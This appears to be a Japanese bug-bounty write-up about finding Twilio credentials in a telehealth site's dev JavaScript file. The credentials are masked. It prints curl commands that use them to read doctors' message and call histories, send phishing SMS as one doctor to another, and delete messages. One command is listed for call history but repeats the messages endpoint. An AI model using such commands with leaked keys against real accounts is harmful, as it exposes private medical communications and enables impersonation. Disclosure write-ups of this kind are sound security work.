Hello there, ('ω')ノ
漏洩したキーを使用してサポート チャットを引き継ぐことができた方法を。
脆弱性:
情報開示
記事:
今回のターゲットは、医師との仮想予約を行うことができる TeleHealth Webサイトで。
プライベート プログラムなので、www.site.com と呼ぶことに。
まずは、Burp Suiteを起動してサイトにアクセスして。
利用可能なすべての機能のテストを開始して。
その後、認証の段階で、ユーザID を変更できるバグを発見して。
それを変更してログオンすると。
jwt でユーザIDが変更されていることがわかったので。
2つのアカウントを作成して。
アカウント1のユーザID をアカウント2のユーザID に変更して。
彼のデータにアクセスできるかどうかを確認しましたが。
ログイン後に空白のページが表示されたので、これをグーグルで調べたところ。
クライアント/サーバ側の検証がある可能性があることがわかって。
データを取得する前に応答操作でJSの無効化を試みましたが何も機能せず。
この時点で、おそらく Web サイトは認証後にユーザID でユーザ名を。
チェックするのではないかと推測したので、解決策はなく。
それから、複数のエンドポイントをテストしている考えが頭に浮かび。
おそらく、そのうちのいくつかは、ユーザID とユーザ名ではなく。
ユーザID のみをチェックしているかと。
このアイデアを試すために、すべてのサブドメインを検索したところ。
メイン Web サイトと同じページの dev.site.com が見つかって。
同じページであることは理解していますが、これは開発チームが。
メインの Web サイトに適用する前に変更をテストするために使用して。
ATO が成功するかどうかを確認するためにログインしようとしましたが、機能せず。
そして、メインのウェブサイトのメインの JS コード ファイルと。
dev の JS コード ファイルを比較したところ。
dev のほうがはるかに大きいことがわかって。
CTRL+Fで、Key、tokenを検索すると、次のように表示されて。
twillioAuthToken=”xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx”,twillioAuthSSID=”xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx”.
グーグルで検索したところ、音声、ビデオ、電子メール通信に使用される。
API であることがわかって。
そして、認証トークンと SSID とその使用方法について検索した後に。
これらの資格情報が機能しているかどうかを確認する次のコマンドを見つけて。
curl -X GET ‘https://api.twilio.com/2010-04-01/Accounts.json' -u ACCOUNT_SID:AUTH_TOKEN
結果は次のとおりで。
Addresses /2010–04–01/Accounts/$SSID/Addresses.json
Conferences /2010–04–01/Accounts/$SSID/Conferences.json
Signing_keys /2010–04–01/Accounts/$SSID/SigningKeys.json
Transcriptions /2010–04–01/Accounts/$SSID/Transcriptions.json
Connect_apps /2010–04–01/Accounts/$SSID/ConnectApps.json
Sip /2010–04–01/Accounts/$SSID/SIP.json
Authorized_connect_apps /2010–04–01/Accounts/$SSID/AuthorizedConnectApps.json
usage /2010–04–01/Accounts/$SSID/Usage.json
keys /2010–04–01/Accounts/$SSID/Keys.json
applications /2010–04–01/Accounts/$SSID/Applications.json
recordings /2010–04–01/Accounts/$SSID/Recordings.json
short_codes /2010–04–01/Accounts/$SSID/SMS/ShortCodes.json
calls /2010–04–01/Accounts/$SSID/Calls.json
notifications /2010–04–01/Accounts/$SSID/Notifications.json
incoming_phone_numbers /2010–04–01/Accounts/$SSID/IncomingPhoneNumbers.json
queues /2010–04–01/Accounts/$SSID/Queues.json
messages /2010–04–01/Accounts/$SSID/Messages.json
outgoing_caller_ids /2010–04–01/Accounts/$SSID/OutgoingCallerIds.json
available_phone_numbers /2010–04–01/Accounts/$SSID/AvailablePhoneNumbers.json
balance /2010–04–01/Accounts/$SSID/Balance.json
それから下記を実行して。
curl -X GET ‘https://api.twilio.com/2010-04-01/Accounts/$SSID/Messages.json' -u ACCOUNT_SID:AUTH_TOKEN
そしたら、内科医同士のメッセージが見えて。
基本的に、送信元の番号、宛先、メッセージの本文、送信されたメディアを。
含むメッセージのすべての履歴を表示できて。
下記を使用して通話の履歴も表示できて。
curl -X GET ‘https://api.twilio.com/2010-04-01/Accounts/$SSID/Messages.json' -u ACCOUNT_SID:AUTH_TOKEN
発信者の電話番号と宛先、通話時間、この通話に関連する記録、通知。
ストリーム、支払いなど、各通話に関する情報を提供して。
リソースを表示できるだけでなく、アクションも実行できて。
メッセージの履歴があるので、任意の番号から任意の宛先にメッセージを送信でき。
以下を使用して、医師から別の医師にフィッシング メッセージを送信できて。
curl -X POST https://api.twilio.com/2010-04-01/Accounts/$TWILIO_ACCOUNT_SID/Messages.json \
--data-urlencode “Body=This will be the body of the new message” \
--data-urlencode “From=+15017122661” \
--data-urlencode “To=+15558675310” \
-u $TWILIO_ACCOUNT_SID:$TWILIO_AUTH_TOKEN
次を使用してメッセージを削除することもできて。
curl -X DELETE https://api.twilio.com/2010-04-01/Accounts/$TWILIO_ACCOUNT_SID/Messages/MMXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX.json \
-u $TWILIO_ACCOUNT_SID:$TWILIO_AUTH_TOKEN
削除/作成は、呼び出しと使用可能なすべてのリソースに対しても実行できて。
レポートを長くしたくないので、他のリソースはリストしませんでしたが。
レコードの取得、SIP 構成、承認済みアプリの一覧表示など。
これらのリソースを使用して驚くべきことを行うことができて。
Best regards, (^^ゞ